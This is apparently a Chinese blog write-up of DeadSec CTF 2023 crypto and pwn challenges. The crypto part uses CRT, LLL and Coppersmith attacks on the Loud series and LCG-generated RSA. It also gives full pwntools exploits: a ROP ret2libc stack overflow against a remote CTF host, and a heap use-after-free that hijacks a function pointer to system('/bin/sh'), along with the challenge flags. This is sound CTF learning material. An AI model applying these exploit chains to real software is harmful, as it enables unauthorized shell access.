[DeadSec CTF 2023] crypto,pwn

这篇文章详细介绍了几个基于密码学的挑战,包括生成和解密RSA密文,使用LLL算法解决格基约减问题,以及基于线性同余方程的伪随机数生成器(LCG)。每个挑战都涉及不同的数学和加密概念,如素数生成、ChineseRemainderTheorem(CRT)和模运算,以及如何通过数学技巧和编程来解决这些问题。
摘要由CSDN通过智能技术生成

比赛过后终于能登上去了,拿到题作一下,不过好多都不会。先把作了的记一下。

Crypto(全)

Loud

Loud相关题一共6道,加一道LCG,看来是个主题,不过只作了个开始。

先生成2048位的flag,再生成30个1024位的素数,然后每次输出4个随机数和flag%ps[i]

from Crypto.Util.number import getStrongPrime
import random

B = 2^2048
flag = randint(1, B) # recover this value, wrap the answer in Dead{}
m = 5
n = 30
ps = [getStrongPrime(1024) for _ in range(n)]
S = [[randint(0, ps[i] - 1) for __ in range(m - 1)] + [int(flag % ps[i])] for i in range(n)]

for Si in S:
    random.shuffle(Si)

print(ps)
print(S)

 flag有2048位,每次给出1024位,只需要取两次的值作crt即可

from loudoutput import ps,S

B = 2^2048
n = 30

k = []
for i in S[0]:
    for j in S[1]:
        k.append(crt([i,j],ps[:2]))

for i in S[2]:
    for j in S[3]:
        v = crt([i,j],ps[2:4])
        if v in k:
            flag = v 
            print(v)

for i in range(len(ps)):
    print(i)
    assert flag%ps[i] in S[i]

#----
flag = 18922407639296972246191371432397978315386578296356999291065561930577256620707990789134140462037983153028548632889992396570080764738195093020155868369504445663367423838715497226139033220281291248650335979913894224072853486274204732048435967819251310002386638003616868532044153544112397515364414537918494765550207028116009583951771150570789835978039553665601452592310490071947602188415534393382497457219733205754704698350395226950611052226358712636307609098244054439457510464602328769123309110754080447570445025279198291717920142189390547356394976658948208719675358805041478262910064361936599983778928269567693959525037

flag确实这么长 

Really Loud

参数有些调整

from Crypto.Util.number import getStrongPrime
import random

B = 2^2048
flag = randint(1, B)
m = 10
n = 10
ps = [getStrongPrime(1024) for _ in range(n)]
S = [[randint(0, ps[i] - 1) for __ in range(m - 1)] + [int(flag % ps[i])] for i in range(n)]
for Si in S:
    random.shuffle(Si)

print(ps)
print(S)

用第1题的方法发现会出现一个错误解,那么就用3个数进行crt,这样flag由于只有2048位,所以3次在其它数都大概是3096位的时候flag是唯一那个2048位的数。

from loudoutput import ps,S

B = 2^2048
n = 10

k = []
for i in S[0]:
    for j in S[5]:
        for v in S[4]:
            k.append(crt([i,j,v],[ps[0],ps[5],ps[4]]))

#找一个2048位的
for v in k:
    if v.nbits() == 2048:
        flag = v 
        print(flag)
        
for i in range(len(ps)):
    if flag%ps[i] in S[i]:
        print(i)
    else:
        print(i, 'Err')

#
flag = 31638818418853078181649864376077883964278482051227593353676799652922219184064885435633612151816067267472450398119942365176290962664655592150763500085550148021333142557520201007351742989736302212052763950802275605844080214700453006127672112644483037579375786169343774257817731543264471698224896835340829018822535523018596478456422420125863504209512643044942820023479937882864374186052109604985037140887393271805397537218393358080586009282592023976592035434790072827379995198387039033415010213074681614709647184370784802396779738407385889673372815359773101543636797177847395463022542407449627376305019833575664992027926

 再后边的题每次给出128位,这样crt就不能用,不能爆破4^16次,等看别人的吧。

Loud revenge

这个题把p改为128位,给出256组,每组3个噪音加1个余数.看到 无趣的浅 博客,load这题跟这个完全一样.

原理是构造矩阵然后格基约减. 大意应该是求最短向量,矩阵表示如下

\begin{vmatrix} 2^4096 & & & & & & K0*c[0,0]\\ & 2^4096 & & & & & K0*c[0,1]\\ & & 2^4096 & & & & K0*c[0,2]\\ & & & 2^4096 & & & K0*c[0,3]\\ & & & & 2^4096 & & K1*c[1,0]\\ & & & & & ... & \\ & & & & & & P \end{vmatrix}

其中K是prod(ps)//ps[i],这里提到经验值5120,flag是4096位,当取40组里P是5120位,并不一定能解出最近的flag,博客里多取了1组,这题试了一下多取了5组成功.其实对于83阶和91阶矩阵来说差不了多少时间,反正都很慢.

from output import ps,S

#pi 只有128位, flag 4096位需要 需要40组达到5120,多取1组还不行取45组
#flag<4096位, 模数为128位,S为余数+3个随机数
mlen = 45
p = ps[:mlen]
c = S[:mlen]

C=[]
P=prod(p)
for i,cc in zip(p,c):
    pp=P//i
    temp=pp*ZZ(inverse_mod(pp,i))
    for j in cc:
        C.append((j*temp %P))

M=Matrix(ZZ,4*mlen+1)
for i in range(4*mlen):
    M[i,i]=2^4096
    M[i,-1]=C[i]

M[-1,-1]=P
res=M.LLL()
flag = -res[0][-1]

for i in range(len(ps)):
    if flag%ps[i] in S[i]:
        print('!', end='')
    else:
        print('.', end='')

#flag = 82339252692700130560364792251093726523708363824573728808481436214137581958092189741398698534686509175368198395071807266775085210970782524700511305226249658497381518599595077554089130587300952539349825203386800825063602014682452558633579240783377781751150523699023343157264104716018248702594663480096497894198448767631466230733107392194297052314165878485833090460969390281369127378078419113967840754151278351373301928181579589434085680273952517409692006417983954683301912794522191893644367570806136789630458514906866458935783508592833372447949483080006889512831445992057190774608212494115516500504566110867416812132598664917591338227187635199835780235512537379557135107833201383243431618749032296272403922595792004473853272950718974469518981637576678558992472298530006338218388425884168749458145623037339714208838462509678102489990252785014115778308042101412799992501121519636583684684172646706429468022240131296153215513671787662813483619665430678735158035166466787561888364125542588593605175600729162538610181906996554502591658568176065112898905893194323127548654825351372460092942816827040792814683573416437783928062380279159746099213643073325688587584297763664158516802472697276990821227116136495074508131008871191395324325438569

#Dead{82339252692700130560364792251093726523708363824573728808481436214137581958092189741398698534686509175368198395071807266775085210970782524700511305226249658497381518599595077554089130587300952539349825203386800825063602014682452558633579240783377781751150523699023343157264104716018248702594663480096497894198448767631466230733107392194297052314165878485833090460969390281369127378078419113967840754151278351373301928181579589434085680273952517409692006417983954683301912794522191893644367570806136789630458514906866458935783508592833372447949483080006889512831445992057190774608212494115516500504566110867416812132598664917591338227187635199835780235512537379557135107833201383243431618749032296272403922595792004473853272950718974469518981637576678558992472298530006338218388425884168749458145623037339714208838462509678102489990252785014115778308042101412799992501121519636583684684172646706429468022240131296153215513671787662813483619665430678735158035166466787561888364125542588593605175600729162538610181906996554502591658568176065112898905893194323127548654825351372460092942816827040792814683573416437783928062380279159746099213643073325688587584297763664158516802472697276990821227116136495074508131008871191395324325438569}

Really Loud Revenge 

与上一题方法相同,这里p给出的是256位,只需要20组即可解出.方法完全相同

LLLoud

与上上题完全相同.(不清楚为什么会出同样的题),两个题的区别就是用secret取代了random取随机数,但这题与随机数无关.

LLLoud-2

这个只给了40组,经确认,40组也行

LCG

参数a,c,m,seed未知,flag由rsa加密,其中p,q由lcg生成。

import random
from Crypto.Util.number import *
import gmpy2

class LCG:
    def __init__(self, a, c, m, seed):
        self.seed = seed
        self.multiplier = a
        self.increment = c
        self.modulus = m
    
    def next(self):
        self.seed = (self.multiplier*self.seed + self.increment) % self.modulus
        return self.seed
    
    def __str__(self):
        return ",".join(map(str, [self.seed, self.multiplier, self.increment, self.modulus]))

def gen_primes(PRIME_SIZE):
    lcg = LCG(random.getrandbits(PRIME_SIZE//4), random.getrandbits(PRIME_SIZE//4), random.getrandbits(PRIME_SIZE//4), random.getrandbits(PRIME_SIZE//4))    
    
    r1 = random.getrandbits(PRIME_SIZE//4)
    p = r1 << ((PRIME_SIZE*3)//4)
    for _ in range(3):
        p = p | (lcg.next() << (PRIME_SIZE*(2 - _))//4)
        
    r2 = random.getrandbits(PRIME_SIZE//4)
    q = r2 << ((PRIME_SIZE*3)//4)
    for _ in range(3):
        q = q | (lcg.next() << (PRIME_SIZE*(2 - _))//4)
        
    return lcg, p, q

while True:
    lcg, p, q = gen_primes(512)
    if gmpy2.is_prime(p) and gmpy2.is_prime(q) and gmpy2.gcd(lcg.multiplier, lcg.modulus) == 1:
        break

#print(lcg)
n = p * q
e = 65537
flag = b''
c = pow(bytes_to_long(flag), e, n)
print(f"n: {n}")
print(f"ct: {c}")
print("Hint:")
print([lcg.next() for _ in range(6)])

第一步是求参数,还是ideal大法。两参情况下ideal会得到3个值,最后一个是模,这题有点特殊a和c未定,c由后边部分取负再取模最后除以5(先除5等式也能成立,但gcd不为1)

n = 21650447514664703683541519919331263390282460469744888634490387443119262785059244453207960009159682413880209329211270923006772751974531441721185385117102290236861537255410467283919771278372439649180599019262938453870697814603482585923290155250911013461308363715765472530666765831515068628482160014076801654521
ct = 13119263762666966865889936515574328574427409372529276945448580211178603280310168998625170993340627371121987348265853339044876374353275949199559703791552498065356283102983556442205370872035849628351308403614183495058585452791359893308496622183117417598843112140605324797308265631765340150190302633479928043831
Hint=[29861218495988619292793747700054834633, 80515105569441253388392760789853242718, 146729873894560318431962601721322042903, 147107348315338274128018394071748133508, 166087854880219056255852907837404957463, 210401924703541158042341118614982072753]
e = 0x10001

P.<a,c> = PolynomialRing(ZZ)
Fs = []
for i in range(5):
    Fs.append(a*Hint[i]+c - Hint[i+1])

sol = Ideal(Fs).groebner_basis()
#[a + 192730890584774579464696085524960245232*c + 111730724966646401578497494460009927774, 5*c + 146956613039818061905520789526410252310, 244821535106372871320733923646335940415]
m = 244821535106372871320733923646335940415
a = 49726305621493626654897796677001265714
c = 19572984413310961883042626823985137621

 先向前推6个,再用coppersmith求剩下的一部分,得到p,q然后rsa解

#LCG前推6个
k = [Hint[0]]
for i in range(6):
    v = (k[-1]-c)*pow(a,-1,m)%m 
    k.append(v)
#k = [29861218495988619292793747700054834633, 145967276824101336464155342270060900783, 125961158474235685228336081290561801638, 63222193525763644835426137281783135333, 86913929669808156912587516747878902743, 151983825669080490765783085918702840763, 119528914967988440232529709268138852613]
k = [ZZ(v) for v in k][1:][::-1]
p0 = (k[0]<<256)|(k[1]<<128)|k[2]
P.<x> = PolynomialRing(Zmod(n))
f = p0+x*2^(128*3) 
v = f.monic().small_roots(X=2^128, beta=0.4)
p = int(f(v[0]))
q = n//p 

d = inverse_mod(e, (p-1)*(q-1))
m = pow(ct,d,n)
bytes.fromhex(hex(m)[2:])
#Dead{7d19a88ab11151c222a8b}

Pwn

one-punch

这个题用了危险函数gets,这个直接造成栈溢出,虽然前边有检查不允许二次调起,不过这块可以跳过不用。

void __cdecl vuln()
{
  if ( strcmp(key, mapped_region) )
  {
    puts("Two punch man? lameeeeee");
    exit(420);
  }
  memset(mapped_region, 0, 0x15uLL);
  mprotect(mapped_region, 0x1000uLL, 1);
  fflush(stdout);
  gets();
}

EXP

from pwn import *

p = remote('netcat.deadsec.quest', 31794)
#p = process('./one_punch')

elf = ELF('./one_punch')
libc = ELF('./libc.so.6')

context(arch='amd64', log_level = 'debug')

#gdb.attach(p, "b*0x000055555555532e\nc")

p.recvuntil(b'cape! ')
elf.address = int(p.recvline(),16) - 0x1291
print(f"{elf.address = :x}")

pop_rdi = elf.address + 0x0000000000001291 # pop rdi ; ret
leave_ret = elf.address + 0x000000000000132f # leave ; ret
bss = elf.bss()+0x800

p.sendlineafter(b"?\n", b'A'*0x70 + flat(bss, pop_rdi, elf.got['puts'], elf.plt['puts'], pop_rdi, bss, elf.plt['gets'], leave_ret))
libc.address = u64(p.recv(6)+b'\x00\x00') - libc.sym['puts']
print(f"{libc.address = :x}")

p.sendline(flat(0,pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']))

p.interactive()
#dead{I_w4nn4_b3_4_s41ky0u_H3R00000000}

popcron

这个题很长,一会就绕乱。

一个堆题,有两层,第一层是主链,第二层是子链

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // [rsp+8h] [rbp-28h]
  __int64 v7; // [rsp+10h] [rbp-20h]
  __int64 v8; // [rsp+20h] [rbp-10h]
  __int64 v9; // [rsp+28h] [rbp-8h]

  sub_1DB5();
  while ( 1 )
  {
    switch ( sub_1BA3() )
    {
      case 1LL:
        m1add();                                // calloc 0x40 title 0x1f
        break;
      case 2LL:
        puts_0("enter the index of the movie you would like to edit");
        v3 = read_n();
        v9 = get_idx(v3);
        if ( v9 )
          m2edit(v9);
        break;
      case 3LL:
        puts_0("enter the index of the movie you would like to print");
        v4 = read_n();
        v8 = get_idx(v4);
        if ( v8 )
          show(v8);
        break;
      case 4LL:
        puts_0("enter the index of the movie you would like to remove");
        v5 = read_n();
        m4free(v5);
        break;
      case 5LL:
        v6 = 1LL;
        v7 = qword_5050;
        puts("---------------------------------------");
        while ( v7 )
        {
          printf("Movie at index: %lu\n", v6);
          puts("---------------------------------------");
          show(v7);
          puts("---------------------------------------");
          v7 = *(_QWORD *)(v7 + 32);
          ++v6;
        }
        break;
      case 6LL:
        exit(0);
      default:
        puts("invalid entry, exiting");
        exit(1);
    }
  }
}

第二层

unsigned __int64 __fastcall sub_1C5B(unsigned __int64 a1)
{
  unsigned __int64 result; // rax
  __int64 v2; // rax
  __int64 n; // rax

  printf("Editing movie: %s\n", (const char *)a1);
  result = sub_1C0B();
  if ( result == 4 )
  {
    puts_0("enter the index of the review you would like to delete");
    n = read_n();
    result = sub_1415(*(_QWORD *)(a1 + 48), n - 1);
    if ( result )
    {
      sub_15A5(result);
      result = --*(_QWORD *)(a1 + 56);
      if ( !result )
      {
        result = a1;
        *(_QWORD *)(a1 + 48) = 0LL;
      }
    }
  }
  else if ( result <= 4 )
  {
    switch ( result )
    {
      case 3uLL:
        puts_0("enter the index of the review you would like to edit");
        v2 = read_n();
        result = sub_1415(*(_QWORD *)(a1 + 48), v2 - 1);
        if ( result )
          return sub_1B2E(result);
        break;
      case 1uLL:
        return sub_1AE3(a1);
      case 2uLL:
        return sub_1830(a1);
    }
  }
  return result;
}

先理一下块结构

  1. 主链,双链结构
    1. Title: 0x20 标题串可写入0x1f
    2. next_block:8 指处下一主块指针
    3. pre_block:8 指向上一主块指针
    4. sub_chain_head:8 指向子块链的指针
    5. sub_chain_len:8 子块链的长度
  2. 子链,每个主块可以带一个子链,子链是单链结构
    1. next:8
    2. show_func:8
    3. msg_length: 8:
    4. msg: 可指定长度

然后逐一看增删时链的变化,找漏洞,这个漏洞比较隐蔽

子链删除时先找到指定的结点。结点无标记,用顺序号计算。同时当指针为0时也返回。这样当删除的是中间块时返回的是上一块的指针,当是尾块或大于总序号里返回最后一个块的指针。

_QWORD *__fastcall sub_1415(_QWORD *a1, int a2)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i < a2 && a1; ++i )
    a1 = (_QWORD *)*a1;
  if ( a1 )
    return a1;
  puts("No reviews allocated");
  return 0LL;
}

链重构时的处理,

在指链下一块不为0时,*a1=**a1这个跳过删除块重构链没有问题,也没有残留的指针。

当a1指向最后一块时*a1==0这时只删除了当前块,并没有将上一块的next指针改为0,这样这个块依然挂接在子链中。

void __fastcall sub_15A5(_QWORD **a1)
{
  _QWORD *v1; // [rsp+18h] [rbp-8h]

  if ( *a1 )
  {
    v1 = *a1;
    *a1 = (_QWORD *)**a1;
    free(v1);
  }
  else
  {
    free(a1);
  }
}

思路:

  1. 由于建块都是用calloc所以需要先释放7个填满tcache让释放的块进入fastbin才能再次被利用
  2. 主块大小是0x50,子块也要建0x50,大小保持一致
  3. 在子链删除8个,最后一个进入到fastbin,并且子链长度不能为0(为0时会清指针)
  4. 建主块,使用依然挂在子链的UAF的块
  5. 在子链上增加一块,填充next指针
  6. 然后回到主块再进行时会显示主块title信息,得到子链的 next指针,也就是堆地址
  7. 这时候主链的title控制前0x20子链的msg控制后0x20,可以控制整个块,通过指针可以得到想到的信息
  8. 修改子链块的msg(对应主块next_block)指向一个show_func位置,编辑主块3得到elf地址(对应title)
  9. 修改子链块的msg,指向got表,编辑主块3得到libc地址
  10. 修改子链块的msg,指向第一个子块,写入/bin/sh\0 + system替换show_func函数
  11. 执行show调用 system(/bin/sh)

完整代码

from pwn import *

p = process('./popcorn')
context(arch='amd64', log_level='debug')

elf = ELF('./popcorn')
libc = ELF('./libc.so.6')

menu = b"> "
def add(msg):
    p.sendlineafter(menu, b'1')
    p.sendafter(menu, msg)

def edit(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(menu, str(idx).encode())

def show(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(menu, str(idx).encode())

def free(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(menu, str(idx).encode())
    
#---- edit ----
def edittitle(title):
    p.sendlineafter(menu, b'1')
    p.sendafter(menu, title)
    
def add2(size,msg):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(menu, str(size).encode()) #calloc(size+0x20)
    p.sendlineafter(menu, b'n') #"Would you like to give a rating? (y/n)"
    p.sendafter(menu, msg) #"enter your review"

def editmsg(idx,msg):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(menu, str(idx).encode())
    p.sendafter(menu, msg) #"enter a new review"

def free2(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(menu, str(idx).encode())

add(b'A')

for j in range(10):
    edit(0)
    add2(0x28, str(j).encode())

for j in [9,8,7,6,5,4,2,3]:
    edit(0)
    free2(j)  #last_block fastbin

add(flat(0,0,0xffff)) #UAF   block[0].chain[2].size=0xffff

#leak heap
edit(0)
add2(0x28, b'x')  #main.cnt++

edit(2)
p.recvuntil(b"Editing movie: ")
heap_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x610
print(f"{heap_base = :x}")
#return 
p.sendlineafter(menu, b'8')

#leak elf.address
edit(0)
editmsg(3, p64(heap_base + 0x2f8))

edit(3)
p.recvuntil(b"Editing movie: ")
elf.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x17d8
print(f"{elf.address = :x}")
#return 
p.sendlineafter(menu, b'8')

#leak libc.address
edit(0)
editmsg(3, p64(elf.got['puts']))

edit(3)
p.recvuntil(b"Editing movie: ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")
#return 
p.sendlineafter(menu, b'8')

#指向子链第1块,修改show_func函数为system
edit(0)
editmsg(3, p64(heap_base + 0x2f0))

edit(3)
edittitle(b'/bin/sh\x00'+ p64(libc.sym['system']))

show(0)

p.interactive()

这题有一个ida反编不过来的后门函数,可以puts(/flag)可以用获取libc,不过影响不大。毕竟那块是直接复制的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值